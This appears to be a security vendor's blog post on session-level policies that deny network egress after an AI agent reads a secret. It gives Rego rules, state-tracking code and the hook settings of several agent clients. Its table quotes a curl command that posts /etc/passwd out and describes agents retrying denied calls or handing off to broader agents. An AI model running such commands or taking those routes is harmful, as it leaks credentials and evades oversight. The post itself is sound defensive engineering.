Sequence policies for AI agents: after reading a secret, block network egress
A sequence policy decides on an action using what already happened in the session. The state model behind it, a Rego rule you can test, where each agent client lets you keep that state, and the failure modes that make these rules fire on the wrong thing.
A sequence policy is a rule whose answer depends on what the agent already did in the session, not only on the call in front of it. The one worth writing first: once the agent has read a file holding credentials, deny network egress for the rest of that session.
The interesting failure is not one bad call. It is two ordinary ones in a row.
The second call is the one nobody wrote a rule for
A per-call rule sees a tool name, arguments and an identity. Each half of these pairs passes that test.
| Pattern | First step | Second step | What a stateless rule sees |
|---|---|---|---|
| Read then send | cat .env, read_file ~/.aws/credentials | POST to a host the agent chose | Two permitted calls |
| Fetch then push | Web search, or a page the agent fetched | git push to a branch | A push that looks like any other |
| Deny then retry | bash -c "curl -d @/etc/passwd ..." is denied | The same intent with different arguments | A command nobody denied |
| Review then edit | A reviewer approves revision A | The agent commits revision B | A commit on an approved branch |
| Escalation | A scoped agent reads a secret | A hand-off to an agent with more reach | Two identities, each inside its own scope |
None of these needs a malicious tool: only an agent doing something reasonable, then a second reasonable thing, and a governance layer that sees one call at a time.
What the policy has to remember
The state a sequence rule needs is small: keep it per session, in bounded memory, as write-once facts rather than a copy of the transcript.
| Fact | Recorded when | Read by |
|---|---|---|
secret_read, secret_path, secret_read_at | A read touched a path classified as secret | The egress rule |
web_fetch_seq, reviewed_fetch_seq, reviewed_revision | A web fetch arrives, or a review passes | The push rule |
fetched_hosts | A web tool or fetch call returned | The push rule and the record |
last_deny, deny_count | The policy denied a call | The retry rule |
wrote_outside_task | A write landed outside the ticket's paths | The scope rule |
Two notes matter more than the field list. The policy computes a decision from state and never mutates it, because a rule that decides and remembers in one expression becomes unpredictable. And facts only accumulate: a session that read a secret is not untainted when it deletes the file.
A rule you can read
Lyra evaluates policy as code on the endpoint. The same rule written for OPA 1.x, in Rego v1 syntax, looks like this:
package alyria.lyra.sequence
import rego.v1
# Egress after a secret read: deny for the rest of the session.
deny contains {"rule": "sequence.secret-then-egress", "reason": msg} if {
input.action.kind == "net.connect"
input.state.flags["secret_read"]
msg := sprintf("egress after secret read at %s (%s)", [input.state.secret_path, input.state.secret_read_at])
}
# A fetch since the last passing review: the review no longer covers the push.
deny contains {"rule": "sequence.unreviewed-push", "reason": msg} if {
input.action.kind == "git.push"
fetch := object.get(input.state, "web_fetch_seq", 0)
reviewed := object.get(input.state, "reviewed_fetch_seq", 0)
fetch > reviewed
msg := sprintf("push follows fetch %d, the last passing review covered fetch %d", [fetch, reviewed])
}
# A denial followed by the same tool with new arguments: deny again.
deny contains {"rule": "sequence.deny-retry", "reason": msg} if {
input.state.last_deny.tool == input.action.tool
input.state.deny_count >= 2
msg := sprintf("%s denied %d times in this session", [input.action.tool, input.state.deny_count])
}
The matching transition function is ordinary code, not policy:
// Runs after every mediated call. Facts go up and stay up for the session.
function observe(state: SessionState, call: Call, decision: Decision): void {
if (call.kind === "file.read" && isSecretPath(call.params.path)) {
state.flags.secret_read = true;
state.secret_path = call.params.path;
state.secret_read_at = call.ts;
}
if (call.kind === "net.fetch" || call.tool === "WebFetch") {
state.web_fetch_seq += 1; // every fetch makes earlier reviews stale
state.fetched_hosts.add(call.params.host);
}
if (call.tool === "github.pr.review" && decision.allow && call.result.status === "approved") {
state.reviewed_revision = call.params.revision;
state.reviewed_fetch_seq = state.web_fetch_seq; // the generation this review covers
}
if (!decision.allow) {
state.deny_count = state.last_deny.tool === call.tool ? state.deny_count + 1 : 1;
state.last_deny = { tool: call.tool, at: call.ts };
}
}
Evaluation is a lookup on a few booleans and counters, so it costs microseconds and needs no network, which is why it can run on every call. A plain boolean would be wrong: an early review would satisfy every later fetch, so the state counts fetches and records the generation the last passing review covered.
Where the state lives, and what resets it
Keep the state in the process that mediates calls, or in a warm local daemon on the same machine. Four rules keep it honest:
- Key it by session, including the parent, so a subagent cannot read a secret and hand the egress to its parent. Subagents inherit the parent's facts.
- Bound it: fixed-size flags, counters and a capped set of hosts, since state that grows per call is a memory leak with a security label.
- Reset on session end and record the reset, so "no secret was read" is a fact you can check rather than assume.
- Fail closed when the state is unavailable. A policy service that cannot read its own state should deny the action that needs it, not guess.
What each agent client gives you
Every vendor gives you a place to run code before a call, and none a shared session model across tools.
Claude Code runs PreToolUse hooks from .claude/settings.json, ~/.claude/settings.json or managed settings, and a handler can return permissionDecision: "deny" with a reason. A hook can keep state in a file or a local socket, and allowManagedHooksOnly stops a developer from replacing the handler (hooks reference). Hooks and permissions are separate decisions: an if matcher is best effort, and a hard deny belongs in permissions.
Cursor runs hooks from .cursor/hooks.json, ~/.cursor/hooks.json and an enterprise path, where beforeShellExecution and beforeMCPExecution can return permission: "deny". A crash or timeout fails open unless the hook sets failClosed: true (hooks reference), which is the difference between a sequence rule and a suggestion.
Codex exposes approval_policy and an OS-enforced sandbox_mode, with requirements.toml constraining both on a managed machine (approvals and security). Its automatic approval review evaluates individual requests against a policy covering exfiltration and credential probing, still per action.
GitHub Copilot's local control is the CLI's preToolUse hook, which is repository scoped and can deny a call. Enterprise policy and content exclusion are context controls and carry no session memory.
Three agents, three hook implementations, three state files, and no rule that covers a laptop running all three. The sequence logic is the easy part once it lives in one place.
Test the pair, not the call
A sequence rule has two cases that matter.
opa test ./policies -v # unit tests over fixtures
opa eval -d ./policies \
--input ./samples/secret-then-egress.json \
'data.alyria.lyra.sequence.deny' # one decision, by hand
Write the fixture as a call sequence rather than a single input: a read of ~/.aws/credentials, then a net.connect, and assert that the second is denied. Then write the negative fixture: a rule that fires on a normal workflow is the usual failure, such as an install after a build script read a .env in a container.
A rule with a high deny rate on one repository is usually a path classification problem, not an attack. Promote one rule family at a time and keep the policy text in the repository, so a change is a reviewable diff.
Failure modes worth checking for
- State keyed per process rather than per session. The agent restarts, the facts vanish, and the egress goes out.
- State keyed per tool. A shell
catand a file-read tool both read the secret; the rule only watches one. - A fail-open default on a hook timeout.
- Monotonic flags with no reset, so a long-running session denies every network call an hour after one read.
- No record. A blocked sequence should produce the rule id, the events behind it and the policy version, or the first incident review becomes an argument about whether the block happened.
Where Alyria Beacon fits
Alyria Beacon keeps the run state for each session and evaluates Lyra policy on the endpoint, so a sequence rule covers a stdio MCP server, a shell command and a model call the same way, with no cloud round trip and no dependence on the agent cooperating. The decision lands in the signed audit chain with the rule id and the events behind it.
Five worked examples, with what happened and why, are on semantic policy examples. The policy language is documented on Lyra policy as code, and the secrets post covers the controls that stop the read in the first place. If you are deciding where sequence checks belong relative to gates and approvals, gates for coding agents puts them on the same map.
Vendors' behaviour above is from their documentation read in November 2026.
Try it with Alyria
Install Alyria Beacon in monitor mode on a few laptops, write one sequence rule, and let it record what it would deny for a week before it blocks anything. Start with the one above: after a read of a secret-tier path, deny egress for the session. Start free and run that rule against your own sessions.